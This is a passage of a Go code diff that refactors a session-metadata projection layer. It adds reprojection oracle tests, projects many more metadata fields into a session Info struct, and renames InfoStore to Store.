+	CurrentBeadIDKey, "core_hash_breakdown", "started_provision_hash",
+	"started_launch_hash", "started_live_hash", "config_drift_deferred_at",
+	"config_drift_deferred_key", "attached_config_drift_deferred_at",
+	"attached_config_drift_deferred_key", "stranded_event_emitted_at",
+	"session_name_explicit", "wake_request", "restart_requested",
+	"session_id_flag", "template_overrides", "wake_attempts",
+	MetadataLastNudgeDeliveredAt, "provider_kind",
+}
+
+// oracleBaseBeads returns diverse session beads: a fully-populated open bead, the
+// same populated bead but closed (so State-blanking and Closed carry-forward are
+// exercised), a bead with no persisted session_name (so the sessionNameFor
+// fallback is exercised), and a sparse bead.
+func oracleBaseBeads() []beads.Bead {
+	created := time.Date(2026, 2, 3, 4, 5, 6, 0, time.UTC)
+	populated := map[string]string{
+		"session_name": "sess-name-1", "state": "creating", "template": "worker",
+		"alias": "al-1", "agent_name": "agent-1", "provider": "claude",
+		"transport": "acp", "command": "run", "work_dir": "/w", "session_key": "sk",
+		"resume_flag": "--resume", "resume_style": "flag", "resume_command": "{{.SessionKey}}",
+		"continuation_epoch": "ep", "sleep_reason": "idle",
+		NamedSessionIdentityMetadata: "ident", NamedSessionMetadataKey: "true",
+		NamedSessionModeMetadata: "solo", "common_name": "cn", "pool_slot": "2",
+		"pool_managed": "true", "session_origin": "named", "dependency_only": "true",
+		"manual_session": "true", MCPIdentityMetadataKey: "mcp", MCPServersSnapshotMetadataKey: "snap",
+		"provider_terminal_error": "", "session_health": "healthy", "session_health_reason": "",
+		"session_drainable": "true", beadmeta.TriggerBeadIDMetadataKey: "tb",
+		beadmeta.TriggerBeadStoreRefMetadataKey: "ref", beadmeta.BrainParentSIDMetadataKey: "bp",
+		beadmeta.PackMetadataKey: "pk",
+		"pending_create_claim":   "true", "pending_create_started_at": "2026-01-01T00:00:00Z",
+		"quarantined_until": "2026-01-05T00:00:00Z", aliasHistoryMetadataKey: "old-a,old-b",
+		"continuity_eligible": "true", "last_woke_at": "2026-01-02T00:00:00Z",
+		"state_reason": "creation_complete", "creation_complete_at": "2026-01-02T01:00:00Z",
+		"continuation_reset_pending": "true", ResetCommittedAtKey: "2026-01-02T02:00:00Z",
+		"generation": "4", "started_config_hash": "cfg", "pin_awake": "true",
+		"held_until": "2026-01-03T00:00:00Z", "wait_hold": "op", "churn_count": "2",
+		"wake_mode": "fresh", "sleep_intent": "idle-stop-pending", "instance_token": "it",
+		"detached_at": "2026-01-04T00:00:00Z", CurrentBeadIDKey: "bead-9",
+		"core_hash_breakdown": `{"a":1}`, "started_provision_hash": "ph",
+		"started_launch_hash": "lh", "started_live_hash": "lvh",
+		"config_drift_deferred_at": "2026-01-06T00:00:00Z", "config_drift_deferred_key": "k",
+		"attached_config_drift_deferred_at":  "2026-01-07T00:00:00Z",
+		"attached_config_drift_deferred_key": "ak", "stranded_event_emitted_at": "2026-01-08T00:00:00Z",
+		"session_name_explicit": "true", "wake_request": "explicit", "restart_requested": "true",
+		"session_id_flag": "--session-id", "template_overrides": `{"x":"y"}`, "wake_attempts": "3",
+		MetadataLastNudgeDeliveredAt: "2026-01-09T00:00:00Z", "provider_kind": "claude",
+	}
+	clone := func(m map[string]string) map[string]string {
+		out := make(map[string]string, len(m))
+		for k, v := range m {
+			out[k] = v
+		}
+		return out
+	}
+	noName := clone(populated)
+	delete(noName, "session_name")
+
+	// acp base: provider "acp" with NO transport metadata, so Info.Transport
+	// derives from the provider fallback in normalizeTransport (transport==""
+	// && provider=="acp" -> "acp"). This is the one input region where the
+	// provider argument to normalizeTransport matters; a provider/transport
+	// patch here must re-derive Transport through that fallback.
+	acp := clone(populated)
+	acp["provider"] = "acp"
+	delete(acp, "transport")
+
+	return []beads.Bead{
+		{ID: "sess-open", Type: "gc:session", Status: "open", Title: "T", Labels: []string{"gc:session"}, CreatedAt: created, Metadata: clone(populated)},
+		{ID: "sess-closed", Type: "gc:session", Status: "closed", Title: "T", Labels: []string{"gc:session"}, CreatedAt: created, Metadata: clone(populated)},
+		{ID: "sess-noname", Type: "gc:session", Status: "open", Title: "T", Labels: []string{"gc:session"}, CreatedAt: created, Metadata: noName},
+		{ID: "sess-acp", Type: "gc:session", Status: "open", Title: "T", Labels: []string{"gc:session"}, CreatedAt: created, Metadata: acp},
+		{ID: "sess-sparse", Type: "gc:session", Status: "open", Title: "", Labels: []string{"gc:session"}, CreatedAt: created, Metadata: map[string]string{}},
+	}
+}
+
+// oraclePatches returns the patches applied to every base bead: a single-key
+// set and a single-key clear for every projected key, plus edge cases that
+// stress the coupled/parsed projections (State-blanking, sessionNameFor
+// fallback, provider/transport co-recompute, int/time parsing, alias history
+// normalization, bool trimming) and an unknown key that must be ignored.
+func oraclePatches() []MetadataPatch {
+	var patches []MetadataPatch
+	patches = append(patches, MetadataPatch{}) // empty patch is a no-op
+	for _, k := range allProjectedMetadataKeys {
+		patches = append(patches, MetadataPatch{k: "patched-" + k})
+		patches = append(patches, MetadataPatch{k: ""})
+	}
+	edge := []MetadataPatch{
+		{"provider": "gemini", "transport": "tmux"},
+		{"provider": "gemini"}, // on the acp base, Transport must flip "acp" -> ""
+		{"provider": "acp"},    // reaches normalizeTransport's provider fallback
+		{"transport": ""},      // on the acp base, provider fallback yields "acp"
+		{"state": "idle"},
+		{"state": "draining"},
+		{"state": "awake"},   // normalizeInfoState remaps awake -> active
+		{"state": "drained"}, // normalizeInfoState remaps drained -> asleep
+		{"session_name": ""},
+		{"session_name": "renamed"},
+		{"wake_attempts": "7"},
+		{"wake_attempts": "not-an-int"},
+		{"wake_attempts": ""},
+		{MetadataLastNudgeDeliveredAt: "2025-06-01T00:00:00Z"},
+		{MetadataLastNudgeDeliveredAt: "garbage"},
+		{MetadataLastNudgeDeliveredAt: ""},
+		{aliasHistoryMetadataKey: " a , b ,a, c "},
+		{aliasHistoryMetadataKey: ""},
+		{"pool_managed": " true "},
+		{"pool_managed": "TRUE"},
+		{"pending_create_claim": "yes"},    // non-canonical: Metadata mirror verbatim, bool false
+		{"pending_create_claim": " true "}, // untrimmed mirror vs trimmed bool
+		{"manual_session": "1"},
+		{"session_drainable": "true"},
+		{"live_hash": "ignored"},         // unknown key: must not change Info
+		{"startup_dialog_verified": "z"}, // unknown key
+		{"state": "idle", "session_name": "", "provider": "codex", "wake_attempts": "9", "held_until": ""}, // multi-key mix
+	}
+	return append(patches, edge...)
+}
+
+// reprojectBead returns base with its metadata replaced by patch.Apply(base) —
+// the full-re-projection ground truth ApplyPatch must equal.
+func reprojectBead(base beads.Bead, patch MetadataPatch) beads.Bead {
+	out := base
+	out.Metadata = patch.Apply(base.Metadata)
+	return out
+}
+
+// TestInfoApplyPatchMatchesReprojection is the byte-identity oracle: for every
+// (base, patch), folding the patch onto the projected Info via ApplyPatch must
+// equal projecting the patched metadata from scratch. This guards ApplyPatch
+// against drift from InfoFromPersistedBead — the write-returns-Info contract the
+// Step-6d snapshot refresh depends on.
+func TestInfoApplyPatchMatchesReprojection(t *testing.T) {
+	for _, base := range oracleBaseBeads() {
+		baseInfo := InfoFromPersistedBead(base)
+		for _, patch := range oraclePatches() {
+			got := baseInfo.ApplyPatch(patch)
+			want := InfoFromPersistedBead(reprojectBead(base, patch))
+			if !reflect.DeepEqual(got, want) {
+				t.Errorf("base=%s patch=%v: ApplyPatch diverged from full reprojection\n got=%+v\nwant=%+v", base.ID, patch, got, want)
+			}
+		}
+	}
+}
+
+// TestPendingCreateClaimMetadataIsVerbatim pins the contract of the raw mirror
+// added for the wakeTargets-loop trace reads: PendingCreateClaimMetadata keeps
+// the pending_create_claim value verbatim (untrimmed, non-canonical values and
+// all), while the PendingCreateClaim bool stays the trimmed=="true" verdict.
+// Both projection paths (InfoFromPersistedBead and ApplyPatch) must agree.
+func TestPendingCreateClaimMetadataIsVerbatim(t *testing.T) {
+	cases := []struct {
+		raw      string
+		wantMeta string
+		wantBool bool
+	}{
+		{"true", "true", true},
+		{" true ", " true ", true},
+		{"yes", "yes", false},
+		{"", "", false},
+	}
+	for _, tc := range cases {
+		b := beads.Bead{ID: "s", Type: "gc:session", Status: "open", Labels: []string{"gc:session"}, Metadata: map[string]string{"pending_create_claim": tc.raw}}
+		fromBead := InfoFromPersistedBead(b)
+		fromPatch := InfoFromPersistedBead(beads.Bead{ID: "s", Type: "gc:session", Status: "open", Labels: []string{"gc:session"}, Metadata: map[string]string{}}).
+			ApplyPatch(MetadataPatch{"pending_create_claim": tc.raw})
+		for name, got := range map[string]Info{"InfoFromPersistedBead": fromBead, "ApplyPatch": fromPatch} {
+			if got.PendingCreateClaimMetadata != tc.wantMeta {
+				t.Errorf("%s(%q): PendingCreateClaimMetadata = %q, want %q", name, tc.raw, got.PendingCreateClaimMetadata, tc.wantMeta)
+			}
+			if got.PendingCreateClaim != tc.wantBool {
+				t.Errorf("%s(%q): PendingCreateClaim = %v, want %v", name, tc.raw, got.PendingCreateClaim, tc.wantBool)
+			}
+		}
+	}
+}
+
+// TestDependencyOnlyMetadataIsVerbatim pins the raw dependency_only mirror: the
+// pin-awake wake-reason display path (cmd/gc) compares dependency_only untrimmed
+// (== "true"), so DependencyOnlyMetadata must carry the value verbatim while the
+// DependencyOnly bool stays the trimmed=="true" verdict. Both projection paths
+// (InfoFromPersistedBead and ApplyPatch) must agree. Mirrors
+// TestPendingCreateClaimMetadataIsVerbatim.
+func TestDependencyOnlyMetadataIsVerbatim(t *testing.T) {
+	cases := []struct {
+		raw      string
+		wantMeta string
+		wantBool bool
+	}{
+		{"true", "true", true},
+		{" true ", " true ", true},
+		{"yes", "yes", false},
+		{"", "", false},
+	}
+	for _, tc := range cases {
+		b := beads.Bead{ID: "s", Type: "gc:session", Status: "open", Labels: []string{"gc:session"}, Metadata: map[string]string{"dependency_only": tc.raw}}
+		fromBead := InfoFromPersistedBead(b)
+		fromPatch := InfoFromPersistedBead(beads.Bead{ID: "s", Type: "gc:session", Status: "open", Labels: []string{"gc:session"}, Metadata: map[string]string{}}).
+			ApplyPatch(MetadataPatch{"dependency_only": tc.raw})
+		for name, got := range map[string]Info{"InfoFromPersistedBead": fromBead, "ApplyPatch": fromPatch} {
+			if got.DependencyOnlyMetadata != tc.wantMeta {
+				t.Errorf("%s(%q): DependencyOnlyMetadata = %q, want %q", name, tc.raw, got.DependencyOnlyMetadata, tc.wantMeta)
+			}
+			if got.DependencyOnly != tc.wantBool {
+				t.Errorf("%s(%q): DependencyOnly = %v, want %v", name, tc.raw, got.DependencyOnly, tc.wantBool)
+			}
+		}
+	}
+}
+
+// TestInfoMarkClosedMatchesReprojection is the byte-identity oracle for the
+// status-close refresh: for every base bead forced open, folding a status close
+// onto the projected Info via MarkClosed must equal projecting the same bead
+// with Status "closed" from scratch. This guards MarkClosed against drift from
+// the Status-derived facts in InfoFromPersistedBead (Closed set true, State
+// blanked) — the counterpart to TestInfoApplyPatchMatchesReprojection for the
+// close half of the Step-6d write-returns-Info snapshot refresh.
+func TestInfoMarkClosedMatchesReprojection(t *testing.T) {
+	for _, base := range oracleBaseBeads() {
+		open := base
+		open.Status = "open" // force open so MarkClosed has a status change to fold
+
+		closed := open
+		closed.Status = "closed"
+
+		got := InfoFromPersistedBead(open).MarkClosed()
+		want := InfoFromPersistedBead(closed)
+		if !reflect.DeepEqual(got, want) {
+			t.Errorf("base=%s: MarkClosed diverged from full reprojection of the closed bead\n got=%+v\nwant=%+v", base.ID, got, want)
+		}
+
+		// Idempotent: MarkClosed on an already-closed projection is a no-op (State
+		// is already blanked and Closed already true), so re-marking a closed
+		// session's snapshot entry never diverges.
+		if again := want.MarkClosed(); !reflect.DeepEqual(again, want) {
+			t.Errorf("base=%s: MarkClosed not idempotent on a closed projection\n got=%+v\nwant=%+v", base.ID, again, want)
+		}
+	}
+}
+
+// TestInfoApplyPatchDoesNotMutateReceiver guards that ApplyPatch's value
+// receiver never mutates the caller's Info (its slices in particular): the
+// reconciler reuses the snapshot Info across reads within a tick.
+func TestInfoApplyPatchDoesNotMutateReceiver(t *testing.T) {
+	base := oracleBaseBeads()[0]
+	before := InfoFromPersistedBead(base)
+	snapshot := InfoFromPersistedBead(base) // independent copy to compare against
+	_ = before.ApplyPatch(MetadataPatch{
+		aliasHistoryMetadataKey: "brand,new,history",
+		"state":                 "idle",
+		"session_name":          "changed",
+	})
+	if !reflect.DeepEqual(before, snapshot) {
+		t.Fatalf("ApplyPatch mutated its receiver\n after=%+v\nbefore=%+v", before, snapshot)
+	}
+}
+
+// TestInfoApplyPatchEmptyIsIdentity guards the no-op fast path shape: an empty
+// patch returns the Info unchanged.
+func TestInfoApplyPatchEmptyIsIdentity(t *testing.T) {
+	info := InfoFromPersistedBead(oracleBaseBeads()[0])
+	if got := info.ApplyPatch(MetadataPatch{}); !reflect.DeepEqual(got, info) {
+		t.Fatalf("empty patch changed Info\n got=%+v\nwant=%+v", got, info)
+	}
+}
diff --git a/internal/session/info_store.go b/internal/session/info_store.go
index 87c558d767..20d4638618 100644
--- a/internal/session/info_store.go
+++ b/internal/session/info_store.go
@@ -2,9 +2,11 @@ package session
 
 import (
 	"fmt"
+	"strconv"
 	"strings"
 	"time"
 
+	"github.com/gastownhall/gascity/internal/beadmeta"
 	"github.com/gastownhall/gascity/internal/beads"
 )
 
@@ -32,6 +34,7 @@ func InfoFromPersistedBead(b beads.Bead) Info {
 
 	info := Info{
 		ID:            b.ID,
+		Type:          b.Type,
 		Template:      b.Metadata["template"],
 		State:         state,
 		Closed:        closed,
@@ -51,6 +54,91 @@ func InfoFromPersistedBead(b beads.Bead) Info {
 
 		ContinuationEpoch: b.Metadata["continuation_epoch"],
 		SleepReason:       b.Metadata["sleep_reason"],
+
+		// identity / pool / named-session cluster
+		ConfiguredNamedIdentity: b.Metadata[NamedSessionIdentityMetadata],
+		ConfiguredNamedSession:  strings.TrimSpace(b.Metadata[NamedSessionMetadataKey]) == "true",
+		ConfiguredNamedMode:     b.Metadata[NamedSessionModeMetadata],
+		CommonName:              b.Metadata["common_name"],
+		PoolSlot:                b.Metadata["pool_slot"],
+		PoolManaged:             strings.TrimSpace(b.Metadata["pool_managed"]) == "true",
+		SessionOrigin:           b.Metadata["session_origin"],
+		DependencyOnly:          strings.TrimSpace(b.Metadata["dependency_only"]) == "true",
+		DependencyOnlyMetadata:  b.Metadata["dependency_only"],
+		ManualSession:           strings.TrimSpace(b.Metadata["manual_session"]) == "true",
+		ManualSessionMetadata:   b.Metadata["manual_session"],
+		Labels:                  b.Labels,
+		MCPIdentity:             b.Metadata[MCPIdentityMetadataKey],
+		MCPServersSnapshot:      b.Metadata[MCPServersSnapshotMetadataKey],
+
+		// health / provider-terminal-error cluster. The key literals mirror the
+		// cmd/gc session_reconcile constants (session_health, session_drainable,
+		// …); the classifier-equivalence test guards against drift.
+		ProviderTerminalError: b.Metadata["provider_terminal_error"],
+		HealthState:           b.Metadata["session_health"],
+		HealthReason:          b.Metadata["session_health_reason"],
+		Drainable:             strings.TrimSpace(b.Metadata["session_drainable"]) == "true",
+
+		// trigger / brain-parent cluster (canonical gc.* keys via beadmeta).
+		TriggerBeadID:       b.Metadata[beadmeta.TriggerBeadIDMetadataKey],
+		TriggerBeadStoreRef: b.Metadata[beadmeta.TriggerBeadStoreRefMetadataKey],
+		BrainParentSID:      b.Metadata[beadmeta.BrainParentSIDMetadataKey],
+		Pack:                b.Metadata[beadmeta.PackMetadataKey],
+
+		// state / bookkeeping cluster. MetadataState is the RAW state metadata,
+		// kept verbatim so the reconciler classifiers read the same value the
+		// bead carried (Info.State above is the normalized, closed-blanked form).
+		MetadataState:              b.Metadata["state"],
+		SessionNameMetadata:        b.Metadata["session_name"],
+		PendingCreateClaim:         strings.TrimSpace(b.Metadata["pending_create_claim"]) == "true",
+		PendingCreateClaimMetadata: b.Metadata["pending_create_claim"],
+		PendingCreateStartedAt:     b.Metadata["pending_create_started_at"],
+		QuarantinedUntil:           b.Metadata["quarantined_until"],
+		AliasHistory:               AliasHistory(b.Metadata),
+		ContinuityEligible:         b.Metadata["continuity_eligible"],
+		TransportMetadata:          b.Metadata["transport"],
+		LastWokeAt:                 b.Metadata["last_woke_at"],
+		StateReason:                b.Metadata["state_reason"],
+		CreationCompleteAt:         b.Metadata["creation_complete_at"],
+		ContinuationResetPending:   b.Metadata["continuation_reset_pending"],
+		ResetCommittedAt:           b.Metadata[ResetCommittedAtKey],
+		Generation:                 b.Metadata["generation"],
+		StartedConfigHash:          b.Metadata["started_config_hash"],
+		PinAwake:                   b.Metadata["pin_awake"],
+
+		// reconciler decision-read cluster (front-door Phase 5). Raw mirrors of
+		// the keys the reconciler decision paths still crack inline. The key
+		// literals mirror the cmd/gc reconciler constants (config_drift_deferred_*,
+		// attached_config_drift_deferred_*, stranded_event_emitted_at, …); the
+		// classifier-equivalence oracle feeds those constants and so guards these
+		// literals against drift. CurrentBeadIDKey is a session-package constant.
+		HeldUntil:                      b.Metadata["held_until"],
+		WaitHold:                       b.Metadata["wait_hold"],
+		ChurnCount:                     b.Metadata["churn_count"],
+		WakeMode:                       b.Metadata["wake_mode"],
+		SleepIntent:                    b.Metadata["sleep_intent"],
+		InstanceToken:                  b.Metadata["instance_token"],
+		DetachedAt:                     b.Metadata["detached_at"],
+		CurrentlyProcessingBeadID:      b.Metadata[CurrentBeadIDKey],
+		CoreHashBreakdown:              b.Metadata["core_hash_breakdown"],
+		StartedProvisionHash:           b.Metadata["started_provision_hash"],
+		StartedLaunchHash:              b.Metadata["started_launch_hash"],
+		StartedLiveHash:                b.Metadata["started_live_hash"],
+		ConfigDriftDeferredAt:          b.Metadata["config_drift_deferred_at"],
+		ConfigDriftDeferredKey:         b.Metadata["config_drift_deferred_key"],
+		AttachedConfigDriftDeferredAt:  b.Metadata["attached_config_drift_deferred_at"],
+		AttachedConfigDriftDeferredKey: b.Metadata["attached_config_drift_deferred_key"],
+		StrandedEventEmittedAt:         b.Metadata["stranded_event_emitted_at"],
+		SessionNameExplicit:            b.Metadata["session_name_explicit"],
+		WakeRequest:                    b.Metadata["wake_request"],
+		RestartRequested:               b.Metadata["restart_requested"],
+		SessionIDFlag:                  b.Metadata["session_id_flag"],
+		TemplateOverrides:              b.Metadata["template_overrides"],
+		WakeAttemptsMetadata:           b.Metadata["wake_attempts"],
+		ProviderKind:                   b.Metadata["provider_kind"],
+	}
+	if n, err := strconv.Atoi(b.Metadata["wake_attempts"]); err == nil {
+		info.WakeAttempts = n
 	}
 	if raw := strings.TrimSpace(b.Metadata[MetadataLastNudgeDeliveredAt]); raw != "" {
 		if parsed, err := time.Parse(time.RFC3339, raw); err == nil {
@@ -60,35 +148,34 @@ func InfoFromPersistedBead(b beads.Bead) Info {
 	return info
 }
 
-// InfoStore is an Info-typed domain store over a session-class bead store. It
-// speaks session.Info: callers read and list sessions without touching
-// *beads.Bead. Bead serialization is confined inside this type via the
-// InfoFromPersistedBead codec.
-//
-// InfoStore returns the persisted projection only — no live runtime overlay.
+// Store is the session-domain front door over a session-class bead store: the
+// single typed seam through which callers read and write sessions without
+// touching *beads.Bead. The read half (Get / List, projecting via
+// InfoFromPersistedBead) lives here; the write half (ApplyPatch + the typed
+// lifecycle methods) lives in store.go. Bead serialization — SetMetadataBatch,
+// Update, Close, the metadata-key vocabulary — is confined inside this type.
+// (Formerly named InfoStore, after its read return type, when it was read-only.)
 //
-// NOTE: this is the intended next-step read seam for the persisted view; it has
-// no production callers yet. The API/response-building layer currently routes
-// its persisted reads through Manager.GetWithPersistedResponse (which already
-// uses the same InfoFromPersistedBead codec internally), not through InfoStore.
-// Wiring the read path through InfoStore is a follow-up; until then this type is
-// the documented seam, not a live path. Callers that need live runtime
-// enrichment (liveness, attachment, detected transport) still go through
-// session.Manager.
-type InfoStore struct {
+// The Get/List projection is the persisted view only — no live runtime overlay.
+// Callers that need live runtime enrichment (liveness, attachment, detected
+// transport) still go through session.Manager. The API/response-building layer
+// currently reads persisted state via Manager.GetWithPersistedResponse (same
+// InfoFromPersistedBead codec); routing that read path through Store is a
+// follow-up. The reconciler already routes its writes through this type.
+type Store struct {
 	store beads.SessionStore
 }
 
-// NewInfoStore wraps a strongly-typed session-class store as an Info-typed
-// domain store. The wrapper holds the typed beads.SessionStore by value; the
+// NewStore wraps a strongly-typed session-class store as the session-domain
+// front door. The wrapper holds the typed beads.SessionStore by value; the
 // embedded .Store is used for all bead access internally.
-func NewInfoStore(store beads.SessionStore) *InfoStore {
-	return &InfoStore{store: store}
+func NewStore(store beads.SessionStore) *Store {
+	return &Store{store: store}
 }
 
 // Get returns the persisted session.Info for the given id. It returns
 // ErrSessionNotFound when no session bead exists for the id.
-func (s *InfoStore) Get(id string) (Info, error) {
+func (s *Store) Get(id string) (Info, error) {
 	b, err := s.store.Get(id)
 	if err != nil {
 		return Info{}, fmt.Errorf("loading session %q: %w", id, err)
@@ -103,7 +190,7 @@ func (s *InfoStore) Get(id string) (Info, error) {
 // same state and template filtering semantics as the catalog listing. An empty
 // stateFilter excludes closed sessions; stateFilter "all" includes everything.
 // Only session.Info is returned — no raw beads cross this boundary.
-func (s *InfoStore) List(stateFilter, templateFilter string) ([]Info, error) {
+func (s *Store) List(stateFilter, templateFilter string) ([]Info, error) {
 	// IncludeClosed so the in-memory filter below can honor state=closed and
 	// state=all; sessionMatchesFilters drops closed beads for the default and
 	// non-closed filters, matching Manager.ListFullFromBeads semantics.
@@ -129,8 +216,8 @@ func (s *InfoStore) List(stateFilter, templateFilter string) ([]Info, error) {
 }
 
 // sessionMatchesFilters reports whether a session bead passes the state and
-// template filters, using the same rules as Manager.ListFullFromBeads so the
-// Info-typed listing stays projection-identical to the existing catalog path.
+// template filters. It is the single predicate for session-list filtering,
+// shared by both InfoStore listing and Manager.ListFullFromBeads.
 func sessionMatchesFilters(b beads.Bead, stateFilter, templateFilter string) bool {
 	state := normalizeInfoState(State(b.Metadata["state"]))
 
diff --git a/internal/session/info_store_test.go b/internal/session/info_store_test.go
index db2011a0aa..10540fadf8 100644
--- a/internal/session/info_store_test.go
+++ b/internal/session/info_store_test.go
@@ -1,6 +1,7 @@
 package session
 
 import (
+	"reflect"
 	"testing"
 	"time"
 
@@ -34,10 +35,10 @@ func seedSessionStore(t *testing.T, beadsIn ...beads.Bead) beads.SessionStore {
 	return beads.SessionStore{Store: mem}
 }
 
-// TestInfoStoreGetSpeaksInfo asserts the domain store hands back a session.Info
+// TestStoreGetSpeaksInfo asserts the domain store hands back a session.Info
 // projected from the persisted bead, with bead serialization confined inside
 // the store. The Info must match the persisted projection codec exactly.
-func TestInfoStoreGetSpeaksInfo(t *testing.T) {
+func TestStoreGetSpeaksInfo(t *testing.T) {
 	b := sessionBeadFixture("s-get-1", "open", map[string]string{
 		"__title":      "My Session",
 		"template":     "polecat",
@@ -52,14 +53,14 @@ func TestInfoStoreGetSpeaksInfo(t *testing.T) {
 	})
 	store := seedSessionStore(t, b)
 
-	is := NewInfoStore(store)
+	is := NewStore(store)
 	got, err := is.Get("s-get-1")
 	if err != nil {
 		t.Fatalf("Get: %v", err)
 	}
 
 	want := InfoFromPersistedBead(b)
-	if got != want {
+	if !reflect.DeepEqual(got, want) {
 		t.Fatalf("Get returned Info mismatch:\n got = %+v\nwant = %+v", got, want)
 	}
 	if got.ID != "s-get-1" || got.Title != "My Session" || got.Alias != "pc-1" {
@@ -70,19 +71,19 @@ func TestInfoStoreGetSpeaksInfo(t *testing.T) {
 	}
 }
 
-// TestInfoStoreGetNotFound asserts a missing session id surfaces a not-found error.
-func TestInfoStoreGetNotFound(t *testing.T) {
+// TestStoreGetNotFound asserts a missing session id surfaces a not-found error.
+func TestStoreGetNotFound(t *testing.T) {
 	store := seedSessionStore(t)
-	is := NewInfoStore(store)
+	is := NewStore(store)
 	if _, err := is.Get("missing"); err == nil {
 		t.Fatal("Get(missing): want error, got nil")
 	}
 }
 
-// TestInfoStoreListFiltersLikeCatalog asserts List applies the same state and
+// TestStoreListFiltersLikeCatalog asserts List applies the same state and
 // template filtering as the existing ListFullFromBeads projection, returns only
 // session.Info (no raw beads), and excludes closed beads by default.
-func TestInfoStoreListFiltersLikeCatalog(t *testing.T) {
+func TestStoreListFiltersLikeCatalog(t *testing.T) {
 	open := sessionBeadFixture("s-open", "open", map[string]string{
 		"template": "polecat", "state": "asleep",
 	})
@@ -93,7 +94,7 @@ func TestInfoStoreListFiltersLikeCatalog(t *testing.T) {
 		"template": "polecat", "state": "asleep",
 	})
 	store := seedSessionStore(t, open, active, closed)
-	is := NewInfoStore(store)
+	is := NewStore(store)
 
 	// Default filter excludes closed.
 	all, err := is.List("", "")
@@ -152,19 +153,19 @@ func TestInfoFromPersistedBeadProjectionDeterminism(t *testing.T) {
 	storeA := seedSessionStore(t, b)
 	storeB := seedSessionStore(t, b)
 
-	infoA, err := NewInfoStore(storeA).Get("s-inv")
+	infoA, err := NewStore(storeA).Get("s-inv")
 	if err != nil {
 		t.Fatalf("Get A: %v", err)
 	}
-	infoB, err := NewInfoStore(storeB).Get("s-inv")
+	infoB, err := NewStore(storeB).Get("s-inv")
 	if err != nil {
 		t.Fatalf("Get B: %v", err)
 	}
-	if infoA != infoB {
+	if !reflect.DeepEqual(infoA, infoB) {
 		t.Fatalf("projection not deterministic across store instances:\n A = %+v\n B = %+v", infoA, infoB)
 	}
 	// And the direct codec matches the stored projection.
-	if direct := InfoFromPersistedBead(b); direct != infoA {
+	if direct := InfoFromPersistedBead(b); !reflect.DeepEqual(direct, infoA) {
 		t.Fatalf("direct codec disagrees with store projection:\n codec = %+v\n store = %+v", direct, infoA)
 	}
 }
@@ -194,6 +195,48 @@ func TestInfoFromPersistedBeadProjectsContinuationAndSleepReason(t *testing.T) {
 	}
 }
 
+func TestInfoFromPersistedBeadProjectsIdentityPoolNamedCluster(t *testing.T) {
+	b := sessionBeadFixture("s-cluster", "open", map[string]string{
+		"state":                      "active",
+		NamedSessionIdentityMetadata: "worker#3",
+		NamedSessionMetadataKey:      "true",
+		NamedSessionModeMetadata:     "sticky",
+		"common_name":                "worker",
+		"pool_slot":                  "3",
+		"pool_managed":               "true",
+		"session_origin":             "ephemeral",
+		"dependency_only":            "true",
+		"manual_session":             "true",
+	})
+	info := InfoFromPersistedBead(b)
+	for _, c := range []struct{ name, got, want string }{
+		{"ConfiguredNamedIdentity", info.ConfiguredNamedIdentity, "worker#3"},
+		{"ConfiguredNamedMode", info.ConfiguredNamedMode, "sticky"},
+		{"CommonName", info.CommonName, "worker"},
+		{"PoolSlot", info.PoolSlot, "3"},
+		{"SessionOrigin", info.SessionOrigin, "ephemeral"},
+	} {
+		if c.got != c.want {
+			t.Errorf("%s = %q, want %q", c.name, c.got, c.want)
+		}
+	}
+	if !info.ConfiguredNamedSession || !info.PoolManaged || !info.DependencyOnly || !info.ManualSession {
+		t.Errorf("bool cluster: named=%v pool=%v dep=%v manual=%v, want all true",
+			info.ConfiguredNamedSession, info.PoolManaged, info.DependencyOnly, info.ManualSession)
+	}
+	if len(info.Labels) != 1 || info.Labels[0] != LabelSession {
+		t.Errorf("Labels = %v, want [%q]", info.Labels, LabelSession)
+	}
+
+	// Bare bead: the whole cluster projects to its zero value (no defaults).
+	bare := InfoFromPersistedBead(sessionBeadFixture("s-bare", "open", map[string]string{"state": "active"}))
+	if bare.ConfiguredNamedSession || bare.PoolManaged || bare.DependencyOnly || bare.ManualSession ||
+		bare.ConfiguredNamedIdentity != "" || bare.ConfiguredNamedMode != "" || bare.CommonName != "" ||
+		bare.PoolSlot != "" || bare.SessionOrigin != "" {
+		t.Errorf("unset cluster projected non-zero: %+v", bare)
+	}
+}
+
 func infoIDs(in []Info) []string {
 	out := make([]string, 0, len(in))
 	for _, i := range in {
diff --git a/internal/session/lifecycle_exits.go b/internal/session/lifecycle_exits.go
index 03843720c0..6f8b62567d 100644
--- a/internal/session/lifecycle_exits.go
+++ b/internal/session/lifecycle_exits.go
@@ -2,7 +2,6 @@ package session
 
 import (
 	"strconv"
-	"strings"
 	"time"
 )
 
@@ -129,29 +128,6 @@ func DecideSessionExit(f ExitFacts) ExitOutcome {
 	return ExitChurn
 }
 
-// IsDeliberateSleepReason reports whether a sleep_reason records an
-// intentional stop rather than a crash, so the death must not accrue churn.
-// "city-stop" mirrors the CLI's stop sleep reason.
-// "provider-terminal-error" is a classified, non-retryable provider failure
-// (set by markProviderTerminalError); it is suppressed here so a session
-// already parked terminal cannot also accrue a spurious wake failure, making
-// the invariant explicit rather than relying on last_woke_at being cleared in
-// the same metadata batch.
-// The reason list deliberately diverges from shouldResetContinuation's
-// near-identical list (this one has "failed-create" and lacks
-// "runtime-missing"): that one decides continuation reset on wake, this one
-// decides churn suppression — do not merge the lists.
-func IsDeliberateSleepReason(reason string) bool {
-	switch strings.TrimSpace(reason) {
-	case "idle", "idle-timeout", "no-wake-reason", "config-drift", "drained",
-		"city-stop", "user-hold", "wait-hold", "rate_limit", "failed-create",
-		"provider-terminal-error":
-		return true
-	default:
-		return false
-	}
-}
-
 func parseWakeStamp(raw string) (time.Time, bool) {
 	if raw == "" {
 		return time.Time{}, false
@@ -176,14 +152,14 @@ type ExitAccrual struct {
 // session until the given time with sleep reason "quarantine". The patch is
 // metadata-only; unlike QuarantinePatch it does not move the state machine.
 func WakeFailureAccrualPatch(priorAttempts, maxAttempts int, until time.Time) ExitAccrual {
-	return exitAccrual("wake_attempts", priorAttempts+1, maxAttempts, "quarantine", until)
+	return exitAccrual("wake_attempts", priorAttempts+1, maxAttempts, string(SleepReasonQuarantine), until)
 }
 
 // ChurnAccrualPatch builds the write for one more churn cycle on top of
 // priorCycles. Reaching maxCycles quarantines the session until the given
 // time with sleep reason "context-churn".
 func ChurnAccrualPatch(priorCycles, maxCycles int, until time.Time) ExitAccrual {
-	return exitAccrual("churn_count", priorCycles+1, maxCycles, "context-churn", until)
